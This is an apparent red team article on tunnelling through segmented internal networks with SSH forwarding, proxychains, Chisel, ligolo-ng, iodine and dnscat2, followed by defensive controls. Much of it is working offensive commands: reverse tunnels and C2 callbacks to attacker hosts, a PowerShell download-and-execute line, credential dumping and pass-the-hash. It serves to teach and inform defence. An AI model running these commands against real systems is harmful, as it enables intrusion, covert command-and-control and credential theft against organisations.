Internal Network Pivoting: Tunnelling Techniques for Red Team Operations

Getting initial access is only the beginning. In almost every internal red team engagement we run, the most interesting assets — domain controllers, database servers, OT management consoles, cloud management planes — sit behind at least one additional network boundary from the host we land on. Network pivoting is the discipline of tunnelling through those boundaries, and it is where engagements are won or lost. This article covers the techniques we rely on most heavily, from classic SSH port forwarding through to modern purpose-built tools, along with the defensive controls that actually slow us down.

Why Pivoting Is Non-Negotiable After Initial Access

Enterprise networks are rarely flat. Even organisations without mature security programmes typically segment their server VLANs from their workstation VLANs, and most have some form of firewall or ACL between major zones. When we compromise a workstation, we land in the user-facing segment — rarely the segment we actually need to reach.

Pivoting solves this by using a compromised host as a relay. Traffic from our attack infrastructure passes through the implant on the pivot host and exits onto the internal network as though it originated locally. From the perspective of every downstream host, the connection is coming from a trusted internal machine. Every firewall rule and ACL that would otherwise block our attack infrastructure becomes irrelevant once we have a foothold on the correct side of the boundary.

The technique we choose depends on three factors: what outbound protocols the environment allows, what tooling is already present on the pivot host, and how much noise we can afford to generate. We will step through each approach in roughly ascending order of sophistication.

SSH Local Port Forwarding

SSH local port forwarding is the oldest and most universally available pivoting primitive. It requires only that the pivot host can reach the target service and that an SSH server is accessible somewhere — either on the pivot host itself or on a jump box we control.

The syntax binds a local port on our attack machine and instructs the SSH daemon to forward connections to a remote destination through the tunnel:

# Forward local port 3389 to the RDP service on an internal host
# via a pivot box at 10.10.50.20
ssh -L 127.0.0.1:3389:10.10.100.50:3389 operator@10.10.50.20 -N

With this established, pointing an RDP client at 127.0.0.1:3389 on our attack machine delivers the connection to the target's RDP stack as though it came from 10.10.50.20. The limitation is that each forwarded port requires an explicit rule — it does not give us generic network access to the target segment.

SSH Remote Port Forwarding

Remote port forwarding inverts the direction. Instead of our machine listening and forwarding inward, the compromised host initiates an outbound SSH connection to our infrastructure and registers a listening port on the remote end. This is the pattern we use when we need to receive a callback from a host that cannot be reached directly:

# On the compromised internal host — call back to our C2 server
# and expose internal port 445 (SMB) on the C2 server's port 4445
ssh -R 0.0.0.0:4445:10.10.100.80:445 operator@203.0.113.10 -N

This is particularly useful for pulling data out of isolated segments or for setting up relay points for subsequent lateral movement. The connection originates from inside the network, so egress filtering based on destination IP has no effect on it — only outbound SSH blocking would stop it.

SSH Dynamic Port Forwarding and SOCKS Proxying

Dynamic port forwarding converts a single SSH tunnel into a full SOCKS proxy, giving us generic TCP access to everything the pivot host can reach without needing to specify individual destination ports in advance:

# Open a SOCKS5 proxy on local port 1080 through the pivot host
ssh -D 127.0.0.1:1080 operator@10.10.50.20 -N

Once the proxy is running, any SOCKS-aware tool can route traffic through it. Tools that are not natively SOCKS-aware can be wrapped with proxychains:

# proxychains.conf — set the proxy chain
socks5  127.0.0.1 1080

# Use proxychains to route nmap through the tunnel
proxychains nmap -sT -Pn -p 22,80,443,445,3389 10.10.100.0/24

The caveat is that proxychains intercepts socket calls via LD_PRELOAD, which means it only works with dynamically linked binaries and does not support UDP or raw sockets. For ICMP-based host discovery, we switch to TCP ping sweeps through the proxy. Full UDP support requires a different toolchain entirely.

SOCKS Proxy Chaining for Multi-Hop Pivoting

In segmented environments we sometimes need to traverse multiple network boundaries — landing in the workstation VLAN, pivoting to the server VLAN, then pivoting again to the management VLAN. Each hop requires a SOCKS listener on the previous pivot host, and proxychains can chain them:

# proxychains.conf for a two-hop chain
# Hop 1: workstation pivot at 10.10.50.20
# Hop 2: server pivot at 10.10.100.30
socks5  127.0.0.1 1080
socks5  127.0.0.1 1081

Setting up the second hop requires establishing a SOCKS listener on the intermediate pivot host, which in turn connects back to a listener on our infrastructure, then chaining them locally. The setup becomes operationally complex quickly, which is why we usually switch to a purpose-built tunnelling framework once we need more than two hops.

Chisel: Reliable Tunnelling Over HTTP

Chisel is a fast TCP/UDP tunnel transported over HTTP and secured with SSH. It is Go-based, compiles to a single static binary for any target platform, and is our go-to choice for Windows environments where SSH is unavailable or where we need to blend into normal web traffic.

The architecture is client/server. We run the server on our infrastructure, and the client runs on the compromised host. The client initiates the outbound connection — useful in environments where inbound connections to internal hosts are blocked:

# On our attack server
./chisel server --port 8080 --reverse

# On the compromised Windows host (transferred as a binary)
.\chisel.exe client 203.0.113.10:8080 R:socks

The R:socks flag creates a reverse SOCKS5 proxy. Our attack server now has a SOCKS5 listener on port 1080 (default) that routes traffic through the implant on the internal host and onto its local network. From here we point proxychains, Metasploit's proxy settings, or any other tool at 127.0.0.1:1080 and we have generic access to the internal segment.

Chisel supports multiplexing multiple port forwards over a single connection, which reduces the number of outbound connections the pivot host needs to maintain and lowers the traffic anomaly footprint. We also frequently run it on port 443 with a TLS-terminating reverse proxy in front to make the traffic pattern indistinguishable from HTTPS to network monitoring tools.

Chisel for Specific Port Forwards

When we need targeted rather than generic access, Chisel's explicit port forwarding is cleaner than maintaining a full SOCKS chain:

# Forward local port 5985 to WinRM on an internal server
.\chisel.exe client 203.0.113.10:8080 R:5985:10.10.100.50:5985

# Forward local port 1433 to SQL Server
.\chisel.exe client 203.0.113.10:8080 R:1433:10.10.100.60:1433

Each forward is listed as a separate argument and they all multiplex over the single HTTP connection, keeping the network footprint minimal.

ligolo-ng: Agent-Based Tunnelling with Kernel TUN Interfaces

ligolo-ng represents a significant quality-of-life improvement over proxy-chain-based approaches. Rather than routing traffic through a userspace proxy, ligolo-ng creates a kernel-level TUN network interface on our attack machine that represents the remote network. Tools communicate directly with that interface — no proxychains wrapping, no SOCKS configuration, full support for UDP and ICMP.

The setup involves a proxy binary on our attack machine and a lightweight agent on the compromised host:

# On our attack machine — start the ligolo-ng proxy
sudo ./proxy -selfcert -laddr 0.0.0.0:11601

# On the compromised host — connect the agent back to our proxy
.\agent.exe -connect 203.0.113.10:11601 -ignore-cert

Once the agent connects, we interact with the ligolo-ng console to create and start tunnels:

# ligolo-ng console commands
>> session                    # select the active agent session
>> ifconfig                   # view interfaces visible to the agent
>> start                      # start the tunnel

# On our attack machine — add a route for the internal subnet
sudo ip route add 10.10.100.0/24 dev ligolo

With the route in place we can reach any host on 10.10.100.0/24 directly from our attack machine — using nmap with raw packet support, running Impacket scripts natively, connecting Bloodhound collectors without SOCKS wrapping. The operational workflow becomes dramatically simpler, and tools that break under proxychains work correctly.

Multi-Segment Pivoting with ligolo-ng

ligolo-ng handles multi-hop pivoting through its listener feature. After establishing an initial tunnel, we can push a second agent binary through to a host in a deeper network segment and have it connect back through the first tunnel:

# In the ligolo-ng console — add a listener on the agent
# so second-hop agents can connect through it
>> listener_add --addr 0.0.0.0:11602 --to 127.0.0.1:11601

# On the second-hop host — connect the agent back through the listener
# address is the first pivot host's IP, not our external IP
.\agent.exe -connect 10.10.100.30:11602 -ignore-cert

A second session appears in the ligolo-ng console. We select it, start the tunnel, add the appropriate route for the third network segment, and we have end-to-end native connectivity through two pivots. In practice we have used this to reach OT management networks sitting three hops behind the initial workstation compromise.

DNS Tunnelling for Restrictive Egress Environments

Some environments have aggressive egress filtering — only port 80 and 443 are allowed outbound, and those pass through an inspecting proxy. Others restrict even more heavily, allowing only DNS queries to corporate resolvers. In both cases, DNS tunnelling can provide a covert channel where nothing else will work.

DNS tunnelling encodes arbitrary data into DNS query and response payloads. Because DNS is a recursive protocol, queries from an internal resolver will eventually reach the authoritative nameserver for a domain we control — passing through any egress filtering that permits DNS. We use iodine and dnscat2 for this:

# On our attack server — run iodine as the authoritative NS for tunnel.ourdomain.com
sudo iodined -f -c -P secretpassword 10.53.53.1 tunnel.ourdomain.com

# On the compromised internal host
iodine -f -P secretpassword ns1.ourdomain.com

A point-to-point tunnel interface comes up between the two hosts. Bandwidth is extremely limited — typically 3–8 KB/s — but it is sufficient for establishing a SOCKS proxy over SSH through the tunnel and then using that for targeted tool execution. We have used DNS tunnelling to pivot through environments where the only outbound protocol available was DNS to the corporate resolver, which in turn used the public internet for recursion.

dnscat2 for Command and Control

For situations where we need persistent C2 rather than a tunnel, dnscat2 provides an encrypted command-and-control channel over DNS. It is harder to detect than iodine because it does not create a visible network interface — it operates purely at the application layer:

# On our server — start dnscat2 server
ruby dnscat2.rb tunnel.ourdomain.com --secret=engagementkey

# On the compromised host — PowerShell client (no binary required)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
Start-Dnscat2 -Domain tunnel.ourdomain.com -DNSServer 10.10.50.1

dnscat2 sessions can be used to execute commands, upload and download files, and establish port forwards. It is slow but extremely resilient — DNS is almost never fully blocked in a corporate environment because it breaks everything else.

Pivoting Through Dual-Homed Hosts

The most operationally efficient pivot is not a tunnelling tool at all — it is a host that already has a network interface in the segment we want to reach. Printers, scanners, VoIP gateways, management appliances, jump servers, and OT boundary devices routinely sit in two or more VLANs simultaneously.

When we compromise one of these hosts, we get direct routed access to the additional segment without needing to tunnel at all. We run ifconfig or ipconfig /all on every compromised host as a matter of course, looking for secondary interfaces:

# Linux — check all interfaces
ip addr show
ip route show

# Windows
ipconfig /all
route print

Finding a print server with interfaces in both the workstation VLAN (10.10.50.0/24) and the server VLAN (10.10.100.0/24) effectively voids all the firewall rules between those segments. We deploy a ligolo-ng agent on the printer — it has connectivity to both networks — and we add routes for both subnets through that agent. From that point we treat both segments as directly accessible from our attack machine.

This is why defence teams should audit dual-homed hosts as critically as firewall rules. A firewall between two segments means nothing if a compromise of a host on one side gives routed access to the other.

Configuring Proxy-Aware Tools

Running a SOCKS proxy through a tunnel is only useful if our tools can consume it. Some tools have native SOCKS support; others need to be wrapped. Here is the configuration pattern we use across our standard toolkit:

Metasploit Framework

# Set up a SOCKS proxy route through an active Meterpreter session
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 5
msf6 auxiliary(server/socks_proxy) > run -j

# Route traffic through the session to a specific subnet
msf6 > route add 10.10.100.0/24 [session_id]

Impacket (via proxychains)

# secretsdump through a SOCKS proxy
proxychains python3 secretsdump.py DOMAIN/user:password@10.10.100.10

# Pass-the-hash through a SOCKS proxy
proxychains python3 wmiexec.py -hashes :ntlmhash DOMAIN/Administrator@10.10.100.10

CrackMapExec / NetExec

# NetExec has native SOCKS5 support via --proxy
nxc smb 10.10.100.0/24 -u Administrator -p Password123 --proxy socks5://127.0.0.1:1080

Burp Suite for Internal Web Applications

Burp Suite's upstream proxy setting allows it to route through a SOCKS tunnel. Under User Options > SOCKS Proxy, we set 127.0.0.1:1080 and enable SOCKS5. All Burp traffic — including Intruder, Scanner, and Repeater — then reaches internal web applications that would otherwise be unreachable from our external position.

Detecting and Defending Against Internal Pivoting

Pivoting is hard to detect because it largely uses legitimate protocols — SSH, HTTP/S, DNS — and the traffic originates from hosts that are already trusted internal members. That said, several controls genuinely increase attacker friction:

Egress Filtering at the Segment Level

Most organisations filter ingress but leave egress wide open within internal segments. Internal firewalls should restrict outbound connections from server VLANs to only the ports and destinations required for legitimate operations. A database server has no business initiating outbound SSH connections to unknown external IPs.

DNS Monitoring and Sinkholes

DNS tunnelling produces highly anomalous query patterns — very long subdomain labels, high query rates to a single domain, query types like TXT and NULL that are rare in normal traffic. DNS security tools and SIEM-based analytics over DNS query logs will surface this. Restricting DNS resolution to approved resolvers and blocking direct outbound UDP/53 to the internet eliminates most DNS tunnelling at the transport level.

Network Baseline Anomaly Detection

A workstation that suddenly opens persistent long-lived TCP connections to an external IP, or a printer that starts making outbound HTTPS connections, is anomalous. East-west traffic analytics and NetFlow analysis help identify hosts behaving outside their established baseline. The key is having that baseline in the first place — many organisations do not.

Endpoint Detection and Response Coverage

Tools like Chisel and ligolo-ng agents are increasingly detected by EDR platforms through behavioural signatures — process injection patterns, unusual network socket creation, spawning network connections from non-network-facing processes. Maintaining full EDR coverage, including on servers and legacy systems that are often excluded, closes a significant detection gap.

Limit SSH Access and Monitor It

SSH is legitimately present on most Linux infrastructure. Restricting SSH outbound from workstation VLANs and monitoring SSH connection attempts from unexpected source hosts catches a portion of SSH-based pivoting. Certificate-based SSH authentication with short-lived certificates also limits the attacker's ability to establish persistent tunnels under a compromised credential.

Audit Dual-Homed Hosts Regularly

Maintain an accurate inventory of hosts with multiple network interfaces. Any host that bridges two security zones should be treated as a boundary device — patched aggressively, monitored carefully, and hardened to the same standard as a firewall. Network Access Control (NAC) and IP address management (IPAM) tools help surface unauthorised secondary interfaces when audited against the CMDB.

Conclusion

Internal network pivoting is not a niche speciality — it is a core component of every serious red team engagement we conduct. Initial access without the ability to move laterally to high-value targets is a dead end. The techniques covered here — SSH port forwarding for simple cases, Chisel for HTTP-constrained environments, ligolo-ng for complex multi-hop scenarios, and DNS tunnelling as a last resort — give a well-equipped red team the full range of options needed to reach any asset in a segmented network.

For defenders, the message is that no single control defeats pivoting. Effective segmentation must be tested regularly from the inside, egress filtering must be enforced at the segment level, and detection capabilities must cover both network-layer anomalies and endpoint-level process behaviour. If you want to understand how far an attacker could pivot through your internal network after a single workstation compromise, that is exactly what our red team engagements are designed to answer.